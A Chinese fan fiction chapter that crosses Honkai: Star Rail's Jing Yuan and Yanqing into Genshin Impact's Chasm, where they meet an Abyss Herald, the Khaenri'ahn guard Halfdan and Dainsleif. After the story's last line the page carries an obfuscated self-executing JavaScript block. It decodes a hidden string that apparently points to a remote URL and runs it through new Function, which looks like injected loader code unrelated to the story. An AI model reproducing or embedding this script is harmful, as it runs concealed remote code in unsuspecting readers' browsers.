能与帝弓之力相斥的存在景元还未见过,深渊教团似乎也并非善茬。
提瓦特不像罗浮,所有暗流他都能了如指掌,让彦卿自己去,景元有些不放心。
往生堂门可罗雀,胡堂主便索性给他放了个假。
千岩军救灾及时,奥赛尔的海难并没有给璃月港带来什么伤亡,损害最严重的竟然是移动商铺和房梁上的砖瓦,所以大家还是照旧生活,并无忧愁。
下到层岩巨渊,氛围却迥乎不同。
一股阴暗湿冷的气息在阳光消失的瞬间便迫不及待攀上骨髓。
地底的黑泥似乎又增殖了,即使这次没有尼古拉带路,彦卿也能寻着这股越发浓稠的深渊气息探往深处。
沿路上,他发现有些黑泥并不以流体的方式存在,而是硬结成块坚硬无比。
普通攻击甚至难以在表面留下划痕。在它旁边有炸药桶的残片,璃月人应该同样在研究这些东西。
终于在路的尽头,他们被固体污泥堵住去路。少年唤出宝剑附着上冰元素用力一击。
轰的一声,泥块被破开,中间的破口却像是被某种东西侵蚀一般,这并不是剑的痕迹。而在那之后,是更加不详的气息。
两人对视一眼,谨慎地跨过去。
即便以景元的反应力不需要他提醒,瞥见路边淤积的成堆的诡异污垢,彦卿还是提醒道:“将军要小心,这里有种深渊的怪物蛰伏在地下,动作迅速攻击凶猛。”
“嗯。”景元唤出阵刀,蓄势待发。
不过他们率先遇见的不是怪物,竟是三两个兀自向深处行走的丘丘人。
和上次相比,这几个丘丘人身上萦绕着与黑泥同源的不详气息,让它们的身体畸形,步伐散乱,丘丘人却像被寄生一般毫无知觉。
两人见状跟了上去。
随行一段路后,他们发现这些丘丘人也在朝着层岩巨渊的深处前进,似乎地下有什么东西在吸引它们。
于此同时景元又发现了一处怪异。
越接近这几个丘丘人,他越能感觉自己在和提瓦特的联系加深,而与帝弓司命那种冥冥之中的连接则更加渺茫。
这并非是个好征兆。同样靠近它们,彦卿却丝毫察觉不到景元所说的异常。
为什么单单针对将军?彦卿有些慌张,他不知道这会不会对将军产生危害,此时此刻只有一个东西能带给他们解答。
少年皱眉轻呼:“……系统你在吗?”
不出所料,它依旧处于掉线状态。但玉兆中的玩家论坛倒是和平常没有区别,各种攻略贴,厨力贴,水帖照旧霸屏。
【#爆料#:喜报!公子要进池啦!愚人众执行官竟然真的能进池子!】
【#闲聊#:到底要不要抽帝君啊,看了PV好喜欢,但听说盾辅用处不大,纠结死了。】
【#攻略#:深境螺旋12层,最速配对最便宜造价,一金即可!】
玩家一派欢乐的讨论与当下诡异的情况十分割裂。
景元收起玉兆,前方却突然有说话的声响。两人悄无声息地接近,在一处转弯停下脚步,发现声音源头竟然是几只怪物。
“愚昧……”
“令坎瑞亚的子民在此地陨落就是你们的守护之道吗?”
那怪物身形高大,脑后带着尖刺的光环似乎长在它身上。它说话的音节怪异如野兽的嘶吼,全凭联觉信标运作才勉强听的清楚一些。
在它头顶,显示着【深渊使徒】四个字。
是深渊教团的人?
使徒对面那个怪物倒有几分像彦卿曾斩杀过的那种手持长矛的家伙。与之不同的是,他头上也有显示:【坎瑞亚宫廷卫队哈夫丹】
“他们需要的不是折磨,而是安息……”
哈夫丹手持长剑,以保护的姿势挡在几个倒在地上已经毫无动静的丘丘人前面。
“哼!即便如此,净化装置还是会启动,殿下的仁慈也将惠及你们,敬请感受深渊的恩赐吧!”
深渊使徒见他不领情并不废话,转身开启传送门将要离开。
彦卿心下一紧。
它要走了,可是对深渊的情报还知之甚少,将军又异常缠身,如果就此放他离开,下次的机会不知道还要等多久。
不能犹豫。少年当即闪身,手上不忘唤出飞剑甩过去。
景元瞳孔微瞪,有些诧异。还未清楚对方底细,万一实力不敌该怎么办,彦卿为什么突然这般莽撞行事。
好在少年的攻击是有效果的,那一剑把深渊使徒钉在地上,传送门随之消失。
“什么人?!”使徒惊呼。
它想脱困,却猛地发觉困住自己的这股力量竟然与它有位格上的压制。
“你是深渊教团的人。”
彦卿见他挣扎,握住剑柄凝结霜雪,将它的伤口与剑连接处牢牢冻结在一起。
他起身用另一柄剑直指对面同样拿起剑防御的哈夫丹,声音冷冽:“那么你和它又是什么关系?
“彦卿。”景元慢他一步,上前按住他的肩膀。“不可冒进。”
“……你们是谁?”
哈夫丹驻守在此地几百年,头一次遇见竟然能与他们这样诅咒缠身,不成人样的形态对话的人。
交涉交给景元,男人自我介绍道:“我叫景元,这位是我徒弟彦卿。我们为了调查层岩巨渊的异常而来,现如今这异象与深渊教团密不可分,若阁下愿意告知一二,我们不胜感激。”
“哼。教团的伟大事业岂是随便能让他人了解的!”
被钉在地上的深渊使徒即便落入他人之手依旧不屑冷哼。看样子是不愿意透露半点消息。
而哈夫丹见景元对自己似乎并无敌意也不危及自己身后的坎瑞亚子民,便缓和态度出言说道:
“这里没有异常,只是一处供人安息的陵地罢了,你们还请离开吧。至于它,阁下请随意。”深渊使徒听罢加大了挣扎的动作。
然而他们不可能就此离开。局面僵持,左右为难之下,竟然还有新状况。
景元身后,突然出现了一个身披斗篷的男人。那人陡然从一道新的传送门里出来。彦卿望去,发现他脸上的面具样式与丑角类似,瞳孔的形状竟然也与他相同。
“戴因大人?”
“戴因斯雷布!!”
两声惊呼,态度却完全相反。
深渊使徒对这个人的态度称得上厌恶,而戴因瞥见它被钉在地上也有几分轻蔑。
和哈夫丹与深渊使徒的拒绝交流不同,戴因似乎是为了感谢彦卿两人抓住了他一直在追捕的使徒,并不介意与他们交换信息,得知他们在调查深渊教团便说道:
“深渊教团便是深渊的走狗,他们没有理性,没有秩序,对提瓦特而言是侵蚀一般的存在。”
戴因余光瞥向地上的深渊使徒,说道:“正是因此,我一直在想办法阻止他们。”
景元也侧头看向它,问道:“那么层岩巨渊的异象也是这些深渊教团的阴谋吗?”
“什么异常?”戴因斯雷布是追着这个使徒前来的,在此之前他还不曾到访层岩巨渊。
“这不是异象。”
哈夫丹又一次开口了,这次他解释的更多:“此地只是一处供人安眠的陵地,是地上的人打扰了我们的清静。”
古坎瑞亚语一出,戴因立刻盯着这个一直沉默着的黑蛇骑士。
原以为他也是已经失去了理智中的一员,没想到竟然还能交流。
或许是黑蛇骑士的语气有些熟悉,勾起戴因斯雷布的回忆,他艰难地从黑蛇骑士身上辨认道:“你是……哈夫丹?”
“是我,戴因大人。”
哈夫丹敬了一个属于坎瑞亚的宫廷礼仪。
“没想到你竟然还能……”保持理智。
戴因斯雷布怔愣在原地,他注意到了哈夫丹背后保护的丘丘人。
所以他口中的陵地竟然是属于坎瑞亚子民的陵地,难道几百年来哈夫丹一直在遵守自己下发的最后一个的命令吗?
景元耐心等待哈夫丹与戴因寒叙完,这位曾经的宫廷卫队成员接着说道:
“我们能在这里感觉到前所未有的安宁,所以才会不断有子民前来此地安息,或许这就是你们所认为的异常,但五百年来一直如此。”
“你们的子民……就是这些丘丘人吗?”景元若有所思地看向那些已经不再动弹的身躯。
一阵沉默蔓延开来。
被钉在地上的深渊使徒嘲讽道:“听见了吗,坎瑞亚的子民本不该有这种结局的!是你们太过愚昧,不愿听从殿下的安排!”
坎瑞亚,深渊使徒又一次提到了这个不属于七国的名字。
而且哈夫丹同样隶属于坎瑞亚宫廷卫队。那么,坎瑞亚是一个属于魔物的文明吗?
戴因斯雷布沉默了一会儿,并不理会深渊使徒的挑衅,向两人解释道:
“坎瑞亚是一个曾被天理与七神围堵毁灭的文明。受到了天理的诅咒,坎瑞亚的遗民才会以这种面目现世。抱歉,见两位是地上之人我本不愿提起。”
“其实,我们并非七神的子民。”
景元思衬片刻,选择性地说道:“我们来自提瓦特之外,只是因为一些原因才来调查深渊教团,没想到竟然能得知这些信息,感谢你的告知。”
降临者?
戴因斯雷布惊讶地看着景元与彦卿。可他却看见了景元腰侧的雷系神之眼。降临者也会得到神明的注视吗?
见他似乎不信,景元说道:“我们来自一个叫罗浮的地方,能与你们沟通并非是我们会说本地的语言,而是一种名为联觉信标的技术在运作。”
戴因斯雷布这才发现自己一直在用标准提瓦特语和他们说话,而哈夫丹则说的是失传的古坎瑞亚语,景元应该是听不懂的。
他信了几分,问道:“那你们降临此地是为了?”
景元却摇了摇头:“来到提瓦特并非我们的本愿,我们在寻找回去的办法。”
这样的降临者戴因斯雷布也曾认识两个,那对金发的双子同样是不属于这个世界的人。
然而提瓦特早已被天理的维系者层层封锁,在祂解除封印之前,他们愿望注定要和双子一样落空了。
景元面上不显,心下却对戴因补充给他们的话产生了一些疑问。
他口中的金发双子,其中之一似乎就是游戏的主角,玩家视角跟随的旅行者。
可倘若双子也是外来之人,为什么空会被选中成为游戏的主角?而且和彦卿不一样,旅行者自己似乎并不知情。
若说坎瑞亚是游戏中尚未介绍到的额外补丁,等待他们去发现。那系统这种理应高于提瓦特的存在,又为何会在他们接触到深渊教团时产生异常。
提瓦特的真相扑朔迷离,越发不是一个“游戏”能解释的了。
此刻层岩巨渊的异常和深渊教团的情况都了解的差不多了。景元说道:“既然这个深渊使徒是你一直在追捕的对象,我们便不参和了。不过他刚才似乎提到了什么净化装置,或许你应该知晓。”
“净化?”戴因斯雷布诧异。
层岩巨渊之下有什么需要净化?
未等他反应,地上的深渊使徒却逐渐化成一滩黑泥。然而它像感觉不到一般,依然得意洋洋地大喊道:“晚了!司铎大人会给所有人带来救赎!”
“戴因斯雷布,你也不会例外!享受深渊的恩惠吧!”
他话音刚落,远方如应验般传来异动。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();